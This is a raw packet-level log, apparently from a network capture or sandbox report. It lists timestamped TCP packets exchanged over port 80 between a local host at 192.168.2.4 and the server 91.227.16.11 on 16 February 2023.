Feb 16, 2023 10:02:11.911597967 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.911617041 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.911631107 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.911648035 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.911667109 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.911686897 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.911704063 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.911721945 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.911741018 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.911768913 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.911814928 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.911834955 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.911849022 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.911870003 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.911889076 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.911891937 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.911907911 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.911926985 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.911928892 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.911947012 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.911968946 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.912030935 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912050009 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912067890 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912074089 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.912087917 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912117958 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.912125111 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912162066 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912163973 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.912183046 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912201881 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912223101 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.912237883 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912278891 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.912363052 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912384987 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912404060 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912435055 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.912444115 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912487030 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912489891 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.912508011 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912527084 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912561893 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912570953 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.912609100 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912614107 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.912631989 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912652016 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912668943 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912688971 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.912708998 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.912890911 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.912965059 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.913019896 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.971055031 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971112013 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971129894 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971143007 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971157074 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971179008 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971196890 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971216917 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971235037 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971251965 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971270084 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971287966 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971304893 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971323013 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971339941 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971358061 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971374989 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971426964 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971575022 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971596956 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971616030 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971620083 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.971636057 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971656084 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971667051 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.971676111 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971693993 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.971697092 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971714973 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.971857071 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971880913 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971899033 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.971916914 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972053051 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972074032 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972091913 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972109079 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972152948 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972173929 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972193003 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972210884 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972229958 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972269058 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.972301006 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972309113 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.972323895 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972363949 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.972414970 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972434998 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972454071 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972539902 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972560883 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972580910 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972623110 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972630978 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.972645998 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972665071 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972683907 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.972702980 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.972927094 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.030904055 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.030937910 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.030958891 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.030980110 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.030998945 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031018019 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031032085 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031037092 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031056881 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031075954 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031076908 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031095982 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031111956 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031116009 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031133890 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031143904 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031153917 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031173944 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031176090 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031194925 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031213045 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031220913 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031233072 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031251907 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031253099 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031271935 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031290054 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031290054 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031311035 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031327963 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031328917 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031363010 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031404972 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031424046 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031443119 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031460047 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031470060 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031491995 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031557083 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031661987 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031701088 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031718016 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031738043 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031758070 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031771898 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031774998 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031794071 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031812906 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031822920 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031832933 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031852007 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031853914 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031872034 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031886101 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031892061 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031913042 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.031929970 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.031994104 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.032016039 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.032035112 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.032035112 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.032069921 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.032102108 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.032121897 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.032140970 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.032160044 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.032164097 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.032180071 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.032196045 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.032200098 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.032219887 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.032233953 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.032351017 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.032372952 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.032392025 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.090533018 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090584040 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090601921 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090615988 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090656042 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090677023 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090708971 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090733051 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090737104 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.090753078 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090773106 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090790033 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090805054 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.090809107 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090831041 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090837002 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.090851068 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090873003 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090892076 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.090892076 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090912104 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090920925 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.090931892 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090950012 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090951920 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.090970993 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.090984106 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.090990067 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091010094 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091027021 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091027021 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.091047049 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091062069 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.091067076 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091087103 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091101885 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.091106892 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091126919 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091141939 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.091145039 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091164112 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091181040 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091182947 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.091200113 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091213942 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.091219902 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091238976 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091258049 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091274977 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091293097 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091300964 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.091300964 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.091312885 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091331005 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091350079 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091351032 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.091368914 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091378927 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.091388941 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091408014 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091417074 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.091429949 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091449022 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091449022 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.091469049 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091486931 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091490984 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.091506004 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.091527939 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.150679111 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.150731087 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.150769949 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.151515007 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.151556015 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.151571035 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152213097 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152236938 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152255058 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152272940 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152307034 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152321100 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152343035 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152362108 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152362108 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152383089 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152398109 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152403116 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152424097 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152436972 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152442932 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152462006 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152481079 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152483940 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152502060 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152515888 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152522087 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152542114 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152559996 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152568102 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152578115 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152596951 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152602911 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152616978 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152636051 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152652025 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152656078 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152672052 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152692080 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152692080 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152710915 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152714014 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152731895 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152751923 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152751923 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152772903 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152785063 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152791977 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152810097 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152828932 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152832985 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152848005 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152865887 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152867079 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152888060 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152901888 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152906895 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152925968 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152939081 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152944088 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152965069 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.152978897 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.152982950 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153002024 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153017044 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153022051 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153040886 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153053999 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153059959 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153079987 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153091908 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153099060 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153119087 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153136015 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153141975 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153155088 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153173923 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153173923 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153192997 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153204918 CET	49726	80	192.168.2.4	91.227.16.11
